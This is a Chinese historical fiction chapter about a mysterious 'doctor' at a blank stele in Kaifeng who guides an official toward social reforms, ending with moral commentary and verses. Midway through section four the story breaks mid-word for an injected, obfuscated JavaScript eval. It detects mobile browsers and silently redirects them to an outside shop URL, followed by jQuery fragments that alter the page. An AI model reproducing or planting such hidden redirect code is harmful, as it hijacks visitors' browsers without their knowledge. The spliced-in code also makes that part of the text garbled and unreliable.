楔子无字碑


    胜朝隆庆三年，开封府南郊乱坟岗，一夜之间多了块碑。


    碑是青石，高五尺，无字。奇的是，碑前每日清晨都摆着新鲜贡品：有时是半块炊饼，有时是几颗野果，有时甚至是个破碗，碗里盛着清水。


    守坟的老军说，子夜常听见碑旁有人说话，声如少年，又像女子，听不真切。胆大的去瞧，只见个影子，在月光下或坐或卧，对碑“说话”。


    “说的啥？”


    “像是…讲故事。讲东街王婆媳不孝，西巷李四赌输钱，北关赵五卖假药…”


    “跟碑说这些？”


    “嗯，还说‘你记着，这都是人间的病’。”


    一、 开封问病


    消息传到开封府衙，通判沈清源，四十许，方脸细目，是个好较真的。他换了便服，夜访乱坟岗。


    子时，月明。碑前真坐着个人，着灰布直裰，头发随意束着，看背影分不出男女年纪。正对碑言：


    “…所以说，王婆那媳妇，不是不孝，是穷。穷得只剩一口气，还要分给婆婆半口，心里怨，脸上就带出来了。这病根不在孝，在穷。”


    声音清越，确像少年。


    沈清源咳嗽一声。那人回头，月光下一张娃娃脸，眉眼干净得像刚洗过，笑问：“官爷也来问病？”


    “问什么病？”


    “人间百病。”那人指碑，“这碑是药方，专记病根。官爷若有病，说说，我记上。”


    沈清源觉得荒唐，却鬼使神差开口：“开封府近日，有十七起盗案未破，算不算病？”


    “算，心病。”那人捡根树枝，在地上画，“盗为何盗？穷。穷从何来？税重、灾多、工少。官爷只抓盗，不治穷，是斩草不除根，春风吹又生。”


    “依你之见，当如何？”


    “减税、赈灾、兴工。”那人写得快，“让民有活路，盗自绝迹。这比派多少捕快都有用。”


    沈清源沉吟：“你说得轻巧，税是朝廷定的，灾是天降的，工…”


    “工是人开的。”那人打断，“开封富商三十七户，仓廪堆霉米，为何不雇人修渠、铺路、建义塾？是不为，非不能。官爷若劝，劝得动一家，可活百人。”


    “你是谁？怎知这些？”


    “我是看病的。”那人起身，拍拍土，“白日走街串巷，夜里来此开方。官爷若信，明日此时，带卷开封户册来，我指给你看，病根在哪儿。”


    言罢，走入坟茔深处，一晃不见了。


    沈清源回衙，辗转难眠。次日，真带上户册，夜再去。那人已在碑前，就着月光翻册，指指点点：


    “看，东城三百户，有井十七口，六口苦，五口涩，能喝的只六口。水是病。”


    “西城五百匠户，今年接活不到三成，七成人闲半年。闲是病。”


    “南城寡妇巷，九十七户无男丁，靠缝补过活，针扎手，扎出血，血是病。”


    他抬头，眼亮如星：“官爷，这些病，碑上记了。可开方的，是你们。”


    沈清源冷汗涔涔。这些，他竟不知。


    “你…究竟何人？”


    “无名无姓，是个郎中。”那人笑，“专治人间糊涂病。官爷今日清楚了些，就是药效。”


    他合上册子，递还：“三日后，我来收‘药钱’——看官爷做了几件事，救了几个人。”


    又走了。


    沈清源立在碑前，良久。碑上依旧无字，可他仿佛看见，密密麻麻，写满人间疾苦。


    二、 水井案


    三日后，沈清源真做了件事：请东城富商周百万，出资打三口甜水井，分与苦水区。周百万起初不肯，沈清源说：“井以你名，碑以你功。”


    周百万心动，捐了。井成那日，东城百姓提桶来取，欢声一片。沈清源夜访乱坟岗，那人已在，面前摆着碗清水。


    “药钱。”那人推碗，“尝尝，甜否？”


    沈清源饮一口，果甜。“你…怎知井成？”


    “我尝了。”那人指自己唇，“今日走了东城，喝了三瓢。一瓢解渴，两瓢暖心，三瓢…看人笑，我也笑。”


    “这便是药效？”


    “是引子。”那人正色，“一口井，解三百户的渴。可开封有千户、万户，渴的，不止是嘴，是活路，是盼头。官爷，这才刚开始。”


    沈清源默然。那人又道：“西城匠户闲，是因河道淤塞，货船难行。若疏浚河道，需工五百，工期三月，匠户有活，货船通畅，商税可增。一举三得。”


    “钱从何来？”


    “南城寡妇巷，九十七户，会缝补，善织绣。若官府设‘妇工坊’，收购绣品，销往江南，本钱我出。”那人自怀中掏出个布包，打开，是颗明珠，鸽卵大，夜光莹莹，“这够本。赚了，归她们；赔了，算我的。”


    沈清源惊：“你究竟…”


    “我说了，是郎中。”那人将明珠塞他手中，“药不能停，病要根治。明日，你去办这两件事。七日后，我来看效。”


    他又走了。沈清源握珠，温润如玉，却烫手。


    七日后，河道开工，妇工坊挂牌。乱坟岗碑前，那人听着沈清源讲述，频频点头。


    “好，脉象渐稳。”他闭目，似在诊脉，“可还有一病，在肺腑。”


    “何病？”


    “心病。”那人睁眼，“开封百姓，见官如见虎，有苦不敢言，有冤不敢诉。这是堵了心窍，久了，要出大事。”


    “如何治？”


    “简单。”那人起身，“明日午时，你坐衙门口，不升堂，不穿官服，摆张桌子，挂个牌——‘听苦处’。谁有苦，来说，你听，能办的办，不能办的记下。三日，只要三日，你看民心通不通。”


    沈清源犹豫：“这…成何体统？”


    “体统比命重要？”那人反问，“体统是衣，民心是身。衣破了可补，身死了，衣给谁穿？”


    言罢，拂袖而去。


    三、 衙前听苦


    沈清源真听了。翌日午时，开封府衙前摆桌挂牌，他坐当中。起初无人敢近，渐有胆大的，说赋税重，说胥吏恶，说冤狱苦。沈清源记了满满三本。


    第三日，来了个老农，背着一捆枯稻，往地上一掷：“大人！今年蝗灾，粮绝收，可税吏还来催粮！我儿子交不出，被拘了，地里稻子没人收，全烂了！这…这还让不让人活？”


    声泪俱下。围观者数百，皆眼巴巴看着。


    沈清源起身，对众揖礼：“诸位，沈某无能，让父老受苦。今日在此立誓：欠粮者，今年全免；被拘者，即刻放归。税吏贪酷者，三日内查实革办！”


    众欢呼。老农跪地磕头，沈清源扶起，自掏腰包，赠银五两：“先买粮，挺过今冬。”


    消息传开，百姓称“沈青天”。是夜，乱坟岗。那人听罢，抚掌：“脉通了，气血活了。这病，好了三成。”


    “才三成？”


    “病去如抽丝。”那人捡根枯枝，在地上画图，“你看，开封如人身。头是府衙，心是民心，手足是百姓。如今心脑通了，可手足还弱——弱在无恒产，无恒业，无恒心。”


    “如何强？”


    “均田，劝工，兴学。”那人画三个圈，“田均则民安，工兴则民富，学兴则民智。三事成，开封可活。”


    沈清源苦笑：“这…非我一人能办。”


    “那就办能办的。”那人目光炯炯，“开封有学田千亩，被豪强侵占七百。你收回来，办义学，穷孩子免费读。有荒地三千亩，你招流民开垦，三年不征税。有废弃作坊十七处，你低价租与匠户，减其租金。这些，你办得到。”


    沈清源怔住。这些数据，他这通判竟不知，此人如数家珍。


    “你…究竟何人？”他第三次问。


    那人笑了，笑出两个酒窝：“我是你心里那个‘该做点什么’的声音。你听见了，做了，我就是你；你听不见，不做，我就走了，找下一个能听见的人。”


    他起身，拍拍灰：“药方开完了，药也吃了。往后，靠你自己了。记住——”


    他指那无字碑：“这碑，会一直在这儿。你做一件实事，碑上就多一道痕，是功德痕。你做一件虚事，碑上就多一道裂，是罪孽纹。天地为证，人心为秤，你好自为之。”


    言罢，走入夜色，再无踪影。


    沈清源在碑前坐到天明。晨光中，他仿佛看见，碑上真有隐隐约约的纹路，像字，又像画。


    他伸手去摸，冰凉，光滑。


    无字。


    四、 三事功成


    往后三月，沈清源真办了那三件事。


    学田收回，豪强闹到知府那儿，沈清源拿出地契原档，豪强哑口。义学开张那日，三百孩童入学，书声琅琅。


    荒地开垦，流民闻讯而来，领种子，领农具，田里有了绿意。


    作坊重启，机杼声、打铁声、锯木声，响彻西城。


    开封活了。乞丐少了，盗案稀了，街市热闹了。知府上表为沈清源请功，批文下来，升开封府尹。


    升迁那日，沈清源独坐府衙，却无喜色。幕僚问：“大人高升，为何不乐？”


    “我在想，”沈清源道，“这些事，本该早做。为何从前不做？是不知道，还是…装不知道？”


    幕僚语塞。


    是夜，沈清源又去乱坟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088174|195403||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    岗。碑还在，那人不在。碑前摆着个小泥人，捏的是沈清源，着官服，弯腰与老农说话。泥人底刻八字：


    “官是父母，当如是。”


    沈清源捧泥人，泪如雨下。


    他知道，那人走了，去下一个“病地”了。


    可他留给了开封，一个活过来的开封。


    五、 无字碑鸣


    隆庆五年，沈清源调任离京。行前，百姓送“万民伞”，伞骨上签名密密麻麻。他拒了，只收了三样：一捧义学田的土，一块作坊区的瓦，一束垦荒区的稻。


    带到乱坟岗，供在无字碑前。


    “先生，”他对着碑说，“你要的药钱，我还了。可这病，还没治完——天下很大，病处很多。我此去江南，当继续治。你在天上看着，若我懈怠，托梦骂我。”


    风吹过，碑无声。


    沈清源三拜，离去。


    他走后，开封百姓，渐有人来碑前说话。有求子的，有问病的，有诉苦的。说完了，心里就松快些。


    奇的是，有人夜行过此，听见碑中有声，像叹息，又像轻笑。


    守坟老军说，是那“看病先生”回来了，夜里还在听病、开方。


    真假不知。但无字碑前，贡品不断。有时是碗新米，有时是朵野花，有时是张字条，写着“我病好了，谢碑”。


    隆庆十年，开封大水。无字碑被淹，水退后，碑身出现了纹路——自然裂痕，却像极了一幅画：一人赤脚行于雨中，身后跟着长长队伍，人人有笑脸。


    百姓说，是“看病先生”显灵，带大伙渡劫。


    从此，无字碑成了“问病碑”。谁有难处，来碑前坐坐，说说话，有时答案，就在风里，在雨里，在自己心里。


    尾声病在人间


    又十年，沈清源致仕归乡，途经开封。特访无字碑。


    碑已老旧，苔痕斑斑。他坐碑前，自说自话：


    “先生，我老了，病治不动了。可这人间，病好像…越来越多了。贪的、嗔的、痴的、慢的、疑的…五毒俱全。这病，怎么治？”


    风吹过，碑无声。


    他苦笑，起身欲走。忽见碑底，不知谁用炭画了行小字：


    “病在人间，药在人间。


    治病者，是人；


    服药者，是人。


    人人可医，人人需医。


    医好一个，是一个。


    医不完，也要医。


    因为——


    人间值得。”


    字迹稚嫩，像孩童所写。


    沈清源看了良久，大笑，笑出泪。


    他掸掸衣尘，对碑一揖：“受教。人间值得，那就…继续医。”


    他走了，背微驼，步却稳。


    碑静静立着。


    无字，却像说了千言万语。


    碑旁野花，岁岁枯荣。


    就像这人间，病痛不断，希望也不断。


    总有那么个“看病先生”，在某个角落，对某块“碑”，说着：


    “来，说说你的病。我听着，记着，想办法，治着。”


    本章诫世


    一、 无字碑问病之镜


    - 以无字碑为“病历”，记录人间疾苦


    - 破解法：凡标榜“太平盛世”者，必察其暗处疾苦


    - 示例：水井、匠闲、妇贫三病，皆源于制度缺失


    二、 看病先生之悖


    - 无名无姓无来历，却比官吏更知民瘼


    - 惕世：真知常在民间，真医常是布衣


    - 反思：当官僚系统失灵，救赎或起于草野


    三、 药在人间之喻


    - 以明珠换妇工坊，喻“资本当为民生所用”


    - 深层隐喻：社会病需系统性治疗，非零星施舍


    - 终极指向：治标在施粥，治本在均田、劝工、兴学


    问病偈：


    隆庆三年秋风凉，乱坟岗上碑无字。


    夜来童子说民瘼，晨起官府开药方。


    一井能解三百渴，三事可活半城荒。


    莫道人间病难治，且看心有几分光。


    后世叹：


    胜朝隆庆开封府，乱岗碑前月照途。


    无名童子说百病，有胆通判开三疏。


    学田收归书声起，作坊重启铁锤呼。


    莫问郎中何处去，人间疾苦是药炉。


    正是：


    开封城外乱坟岗，无字碑前月如霜。


    夜夜有人说疾苦，朝朝见吏开药方。


    一井能活三百户，三疏可暖半城凉。


    莫道人间无妙手，妙手原在众生旁。